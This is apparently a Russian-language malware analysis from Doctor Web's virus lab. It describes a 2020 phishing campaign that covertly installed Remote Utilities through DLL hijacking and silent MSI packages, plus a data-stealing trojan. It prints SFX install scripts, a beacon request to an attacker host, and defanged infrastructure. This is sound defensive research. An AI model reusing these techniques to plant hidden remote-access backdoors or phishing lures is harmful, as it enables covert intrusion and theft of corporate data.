В ноябре 2020 года вирусная лаборатория «Доктор Веб» зафиксировала рассылку фишинговых писем корпоративным пользователям. Злоумышленники попытались применить классический метод социальной инженерии, чтобы заставить потенциальных жертв открыть вложения. В качестве вредоносной нагрузки письма содержали троянские программы, обеспечивающие скрытую установку и запуск утилиты Remote Utilities, установочные компоненты которой также находились в составе вложения. При неблагоприятном стечении обстоятельств, компьютеры сотрудников были бы доступны для удаленного управления без каких-либо визуальных признаков работы программы. В статье мы рассмотрим механизмы распространения и заражения используемых RAT-троянов.

Сценарий атаки


Обнаруженные нами образцы можно разделить на 2 группы.

  • Самораспаковывающиеся архивы, которые содержали оригинальные исполняемые файлы Remote Utilitites и вредоносный модуль, загружаемый посредством DLL Hijacking. Этот модуль предотвращает отображение окон и иных признаков работы программы, а также оповещает злоумышленника о ее запуске и установке. Детектируется Dr.Web как BackDoor.RMS.180.
  • Самораспаковывающиеся архивы, которые содержали оригинальный установочный модуль Remote Utilities и заранее сконфигурированный MSI-пакет, обеспечивающий тихую установку программы для удаленного управления и последующую отправку сообщения о готовности к удалённому подключению на заданный злоумышленником сервер. Детектируется Dr.Web как BackDoor.RMS.181.

Обе группы вредоносного ПО объединяет не только используемый инструмент — Remote Utilities, — но и формат фишинговых писем. Это достаточно грамотно составленные и относительно объемные сообщения на русском языке, использующие потенциально интересную для получателя тему. Вредоносная нагрузка защищена при помощи пароля, а сам пароль в виде TXT-файла находится рядом и представляет собой дату отправки письма.

Пример письма с вредоносным вложением, использующим DLL Hijacking:



В приложенном архиве находится защищенный RAR-архив и текстовый файл с паролем.



В целях конфиденциальности отправляемого вложения установлен автоматический пароль: 02112020.

В архиве находится дроппер в виде самораспаковывающегося RAR’а, внутри которого лежит сам BackDoor.RMS.180.

Ниже приведен пример письма с вложением, использующим MSI-пакет.



Помимо архива с вредоносной нагрузкой (BackDoor.RMS.181) и файла с паролем здесь находятся документы-пустышки.



В связи с корпоративной политикой безопасности данное вложение защищено кодом доступа: 12112020.

В ходе исследования мы также обнаружили образец фишингового письма, содержащего ссылку на дроппер, который запускает установку утилиты Remote Utilities из настроенного MSI-пакета (детектируется Dr.Web как BackDoor.RMS.187). Здесь задействован несколько иной механизм распространения полезной нагрузки.



«CV_resume.rar» является ссылкой на взломанный сайт, откуда происходит редирект на другой ресурс для загрузки вредоносного архива с BackDoor.RMS.187.

Анализ сетевой инфраструктуры, используемой злоумышленниками для распространения BackDoor.RMS.187, позволил найти еще несколько скомпрометированных сайтов, а также образец трояна Trojan.Gidra. По нашим данным, Trojan.GidraNET.1 использовался для первичного заражения системы при помощи фишингового письма с последующей загрузкой бэкдора, который скрыто устанавливал Remote Utilties.

Подробный разбор алгоритмов работы обнаруженного ПО читайте в вирусной библиотеке на нашем сайте. Ниже мы кратко рассмотрим эти вредоносные программы.

BackDoor.RMS.180


Троян-бэкдор, написанный с использованием компонентов программы Remote Utilities. Основной вредоносный модуль загружается посредством DLL Hijacking.

Самораспаковывающийся архив запускается скриптом:

;Розміщений нижче коментар містить команди SFX-скрипта
Path=%APPDATA%\Macromedia\TempSetup=WinPrint.exe
Silent=1
Overwrite=2

Состав самораспаковывающегося дроппера:

  • libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;
  • ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;
  • UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;
  • WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;
  • winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, обеспечивающий скрытую работу Remote Utilities.

Таблица экспортируемых функций winspool.drv:

118  RemoveYourMom
119  AddFormW
144  ClosePrinter
148  OpenDick
156  DeleteFormW
189  DocumentPropertiesW
190  HyXyJIuHagoToA
195  EnumFormsW
203  GetDefaultPrinterW
248  EnumPrintersW
273  GetFormW
303  OpenPrinterW
307  PrinterProperties

Функции, отсутствующие в оригинальном модуле winspool.drv и не несущие функциональной нагрузки:



Экспорты с реальными именами содержат переходы к загружаемым в дальнейшем оригинальным функциям из легитимной библиотеки.



Некоторые API-функции выполняются через указатели на функции-переходники:




Функция get_proc ищет необходимую API-функцию разбором таблицы экспорта модуля, затем помещает найденный адрес вместо функции-переходника.
На первом этапе загружает подмененную библиотеку. Имя не зашито жестко, поэтому загружает библиотеку <system_directory>\<module_filename>. Затем проходит свою таблицу экспорта и загружает оригинальные API-функции по ординалам, пропуская недействительные функции:

RemoveYourMom
OpenDick
HyXyJIuHagoToA



Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:

  • значение равно 0x2ECF3 — первичный запуск с WinPrint.exe;
  • значение равно 0xC9FBD1 — работа в контексте UniPrint.exe.

Если запущен WinPrint.exe, бэкдор создает процесс UniPrint.exe и завершает работу.

Когда запущен UniPrint.exe, бэкдор переходит к выполнению основных функций. Проверяет, имеет ли пользователь права доступа администратора. Затем устанавливает права доступа на директорию с модулем:



После этого записывает параметры General и Security в ключ реестра HKCU\SOFTWARE\WDMPrint и подготавливает значение параметра InternetID с помощью форматной строки.

Затем бэкдор создает скрытые окна MDICLIENT и RMSHDNLT:



Далее приступает к перехвату API-функций. Для этого использует библиотеку MinHook.



Подробная таблица с описанием перехватываемых функций находится на странице BackDoor.RMS.180 на нашем сайте.

Сетевая активность бэкдора реализована следующим образом. Вначале по дескриптору окна TEdit с помощью функции GetWindowTextA бэкдор получает InternetID, необходимый для удаленного подключения. Затем формирует GET-запрос вида:

GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close

Затем создает TCP-сокет. Проверяет значение глобальной переменной, в которой хранится порт для подключения с использованием протокола SSL (в рассматриваемом образце равен нулю). Если порт не равен нулю, то соединение выполняется по SSL посредством функций библиотеки SSLEAY32.dll. Если порт не задан, бэкдор подключается через порт 80.
Далее отправляет сформированный запрос. Если ответ получен, то ожидает в течение минуты и повторно отправляет запрос с InternetID. Если ответа нет, то повторяет запрос через 2 секунды. Отправка происходит в бесконечном цикле.

BackDoor.RMS.181


Исследованный образец представляет собой MSI-пакет с заранее настроенными параметрами удаленного управления, созданный с помощью MSI-конфигуратора из состава Remote Utilities Viewer. Распространялся в составе самораспаковывающегося 7z-дроппера (52c3841141d0fe291d8ae336012efe5766ec5616).

Состав дроппера:

  • host6.3_mod.msi (заранее настроенный MSI-пакет);
  • installer.exe (5a9d6b1fcdaf4b2818a6eeca4f1c16a5c24dd9cf), подписан действительной цифровой подписью.

Скрипт запуска самораспаковывающегося архива:

;!@Install@!UTF-8!
RunProgram="hidcon:installer.exe /rsetup"
GUIMode="2"
;!@InstallEnd@!

После распаковки дроппер запускает файл installer.exe, который, в свою очередь, запускает установку заранее настроенного MSI-пакета. Установщик извлекает и скрыто устанавливает Remote Utilities. После установки отправляет сигнал на управляющий сервер.



MSI-пакет содержит все необходимые параметры для тихой установки Remote Utilities. Установка выполняется в Program Files\Remote Utilities — Host в соответствии с таблицей Directory.



В соответствии с таблицей CustomAction установщик msiexec.exe запускает основной компонент пакета Remote Utilities rutserv.exe с различными параметрами, которые обеспечивают тихую установку, добавление правил сетевого экрана и запуск службы.



Параметры и настройки подключения заносятся в ключ реестра HKLM\Remote Utilities\v4\Server\Parameters. Значения параметров содержатся в таблице Registry:



Параметр CallbackSettings содержит адрес сервера, на который отправляется InternetID для прямого подключения.

BackDoor.RMS.187


Исследованный образец представляет собой MSI-пакет с заранее настроенными параметрами для скрытой установки и запуска Remote Utilities. Распространялся в составе вредоносного RAR-архива посредством фишинговой рассылки.

Запускается при помощи дроппера, который хранит установочный архив в секции ресурсов под именем LOG. Дроппер сохраняет MSI-пакет в директорию %TEMP% под именем KB8438172.msi и затем запускает с помощью установщика msiexec.exe. В дроппере находится путь к исходнику — C:\Users\Kelevra\Desktop\Source\Project1.vbp.



Бэкдор сообщает о готовности к подключению, отправляя сообщение на адрес cerbe[@]protonmail[.]com.

Этот образец примечателен способом распространения. На электронную почту жертвы приходит фишинговое письмо со ссылкой, маскирующейся под нужное пользователю вложение.

Ссылка на загрузку вложения ведет по адресу http[:]//ateliemilano[.]ru/stat/amsweb.php?eTmt6lRmkrDeoEeQB6MOVIKq4BTmbNCaI6vj%2FvgYEbHFcfWecHRVZGMpkK%2BMqevriOYlq9CFe6NuQMfKPsSNIax3bNKkCaPPR0RA85HY4Bu%2B%2B6xw2oPITBvntn2dh0QCN9pV5fzq3T%2FnW270rsYkctA%2FwdvWH1bkEt2AdWnyEfaOwsKsSpyY3azVX0D%2BKOm5.

Затем с этого адреса происходит редирект на адрес https[:]//kiat[.]by/recruitment/CV_Ekaterina_A_B_resume.rar, по которому происходит загрузка вредоносного архива.

ateliemilano[.]ru и kiat[.]by — существующие сайты, при этом второй сайт принадлежит кадровому агентству. По нашим сведениям, они неоднократно использовались для загрузки троянов, а также для переадресации запросов на их загрузку.

В ходе исследования были найдены и другие скомпрометированные сайты, которые использовались для распространения аналогичных дропперов с MSI-пакетами. На некоторых из них устанавливались редиректы аналогичного формата, как на сайте ateliemilano[.]ru. С некоторых ресурсов предположительно происходила загрузка троянов, написанных на
Visual Basic .NET (Trojan.GidraNET.1), которые, в числе прочего, загружают вредоносные дропперы на скомпрометированные компьютеры.

Trojan.GidraNET.1


Исследованный образец трояна распространялся через скомпрометированные сайты. Он предназначен для сбора информации о системе с ее последующей передачей злоумышленникам по протоколу FTP, а также для загрузки вредоносного дроппера с MSI-пакетом для установки Remote Utilities.

Основная функциональность находится в методе readConfig, вызываемом из Form1_Load.



В начале своей работы собирает о системе следующую информацию:

  • внешний IP-адрес;
  • имя пользователя;
  • имя ПК;
  • версия ОС;
  • сведения о материнской плате и процессоре;
  • объем оперативной памяти;
  • сведения о дисках и разделах;
  • сетевые адаптеры и их MAC-адреса;
  • содержимое буфера обмена.



Полученную информацию сохраняет в файл, затем делает снимок экрана.



Информацию о системе отправляет по протоколу FTP на сервер ateliemilano[.]ru.



В коде трояна зашиты логин и пароль от FTP-сервера. Для каждого зараженного компьютера создается отдельная директория.



После отправки информации загружает и запускает файл с другого скомпрометированного сервера.



Файлы, скачиваемые аналогичными образцами, представляют собой дропперы, написанные на Visual Basic, содержащие MSI-пакеты для скрытой установки Remote Utilities, такие как BackDoor.RMS.187.

В исследованном образце был найден путь к PDB-файлу: C:\Users\Kelevra\Desktop\Last Gidra + PrintScreen + Loader_ Main\Gidra\obj\Debug\Gidra.pdb. Имя пользователя Kelevra совпадает с именем пользователя в пути к файлу проекта в дроппере BackDoor.RMS.187: C:\Users\Kelevra\Desktop\Source\Project1.vbp. В аналогичных образцах встретились и другие варианты.

По найденной нами информации можно предположить, что в 2019 году автор Trojan.GidraNET.1 использовал этот троян для первичного заражения через фишинговое письмо с последующей загрузкой бэкдора, скрыто устанавливающего Remote Utilties.

Заключение


Бэкдоры на базе утилит для удаленного администрирования остаются актуальной угрозой безопасности и до сих пор применяются для атак на корпоративный сектор. В свою очередь фишинговые письма являются основным средством доставки полезной нагрузки на заражаемые компьютеры. Отличительная черта вредоносных вложений — архивация полезной нагрузки с использованием пароля, что позволяет письму преодолеть встроенные в почтовый сервер средства защиты. Другой особенностью является наличие текстового файла с паролем к поддельному архиву. Кроме того, использование вредоносной библиотеки и атаки DLL Hijacking обеспечивает скрытое функционирование ПО для удаленного управления на скомпрометированном устройстве.

Индикаторы компрометации